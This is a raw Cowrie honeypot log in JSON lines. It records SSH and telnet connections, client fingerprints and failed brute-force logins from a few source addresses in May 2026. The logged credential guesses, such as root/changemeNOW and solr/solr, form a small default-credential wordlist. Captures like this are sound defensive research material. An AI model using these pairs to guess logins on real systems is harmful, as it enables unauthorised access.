{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53348,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc404d0775a","protocol":"telnet","message":"New connection: 45.58.127.90:53348 (10.17.0.5:23) [session: ebc404d0775a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:24.885104Z"}
{"eventid":"cowrie.session.closed","duration":40.36536645889282,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:25.824521Z","src_ip":"45.58.127.90","session":"29227357f63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:25.917586Z","src_ip":"176.65.132.129","session":"e241da597862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47404,"dst_ip":"159.203.135.109","dst_port":22,"session":"753138764a0d","protocol":"ssh","message":"New connection: 172.237.20.62:47404 (159.203.135.109:22) [session: 753138764a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:26.916330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:26.921269Z","src_ip":"172.237.20.62","session":"753138764a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:27.083103Z","src_ip":"172.237.20.62","session":"753138764a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:27.570056Z","src_ip":"172.237.20.62","session":"753138764a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38128,"dst_ip":"159.203.135.109","dst_port":22,"session":"cffd5ee71d19","protocol":"ssh","message":"New connection: 176.65.132.129:38128 (159.203.135.109:22) [session: cffd5ee71d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:27.938900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:28.063601Z","src_ip":"176.65.132.129","session":"cffd5ee71d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:28.067298Z","src_ip":"176.65.132.129","session":"cffd5ee71d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:28.397058Z","src_ip":"176.65.132.129","session":"cffd5ee71d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:28.734291Z","src_ip":"172.237.20.62","session":"753138764a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:29.482246Z","src_ip":"176.65.132.129","session":"cffd5ee71d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39308,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b3b6c8f7cd","protocol":"telnet","message":"New connection: 45.58.127.90:39308 (10.17.0.5:23) [session: 70b3b6c8f7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:31.060926Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38144,"dst_ip":"159.203.135.109","dst_port":22,"session":"73db8894115d","protocol":"ssh","message":"New connection: 176.65.132.129:38144 (159.203.135.109:22) [session: 73db8894115d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:31.497494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:31.503916Z","src_ip":"176.65.132.129","session":"73db8894115d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:31.581393Z","src_ip":"176.65.132.129","session":"73db8894115d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:31.902274Z","src_ip":"176.65.132.129","session":"73db8894115d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:32.986829Z","src_ip":"176.65.132.129","session":"73db8894115d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38160,"dst_ip":"159.203.135.109","dst_port":22,"session":"de0f2588a193","protocol":"ssh","message":"New connection: 176.65.132.129:38160 (159.203.135.109:22) [session: de0f2588a193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:34.859919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:35.001732Z","src_ip":"176.65.132.129","session":"de0f2588a193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:35.005843Z","src_ip":"176.65.132.129","session":"de0f2588a193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:35.412606Z","src_ip":"176.65.132.129","session":"de0f2588a193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.76236534118652,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:36.258270Z","src_ip":"45.58.127.90","session":"b321988705c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:36.496284Z","src_ip":"176.65.132.129","session":"de0f2588a193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53196,"dst_ip":"159.203.135.109","dst_port":22,"session":"7954f7cfdb80","protocol":"ssh","message":"New connection: 172.237.20.62:53196 (159.203.135.109:22) [session: 7954f7cfdb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:37.831734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:37.847335Z","src_ip":"172.237.20.62","session":"7954f7cfdb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:37.997167Z","src_ip":"172.237.20.62","session":"7954f7cfdb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45900,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b0b09639240","protocol":"ssh","message":"New connection: 176.65.132.129:45900 (159.203.135.109:22) [session: 1b0b09639240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:38.443173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:38.447461Z","src_ip":"176.65.132.129","session":"1b0b09639240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:38.529452Z","src_ip":"176.65.132.129","session":"1b0b09639240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:38.777613Z","src_ip":"176.65.132.129","session":"1b0b09639240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:38.826964Z","src_ip":"172.237.20.62","session":"7954f7cfdb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:39.862653Z","src_ip":"176.65.132.129","session":"1b0b09639240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:39.988606Z","src_ip":"172.237.20.62","session":"7954f7cfdb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45914,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcc22c365696","protocol":"ssh","message":"New connection: 176.65.132.129:45914 (159.203.135.109:22) [session: bcc22c365696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:41.978826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:41.983548Z","src_ip":"176.65.132.129","session":"bcc22c365696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:42.065133Z","src_ip":"176.65.132.129","session":"bcc22c365696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:42.310279Z","src_ip":"176.65.132.129","session":"bcc22c365696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:43.396023Z","src_ip":"176.65.132.129","session":"bcc22c365696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.66996169090271,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:43.556617Z","src_ip":"45.58.127.90","session":"1206c0ae6653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45930,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a50ed7b5604","protocol":"ssh","message":"New connection: 176.65.132.129:45930 (159.203.135.109:22) [session: 2a50ed7b5604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:45.384977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:45.389940Z","src_ip":"176.65.132.129","session":"2a50ed7b5604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:45.472511Z","src_ip":"176.65.132.129","session":"2a50ed7b5604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41400,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e22b8ba76ef","protocol":"telnet","message":"New connection: 45.58.127.90:41400 (10.17.0.5:23) [session: 9e22b8ba76ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:45.590308Z"}
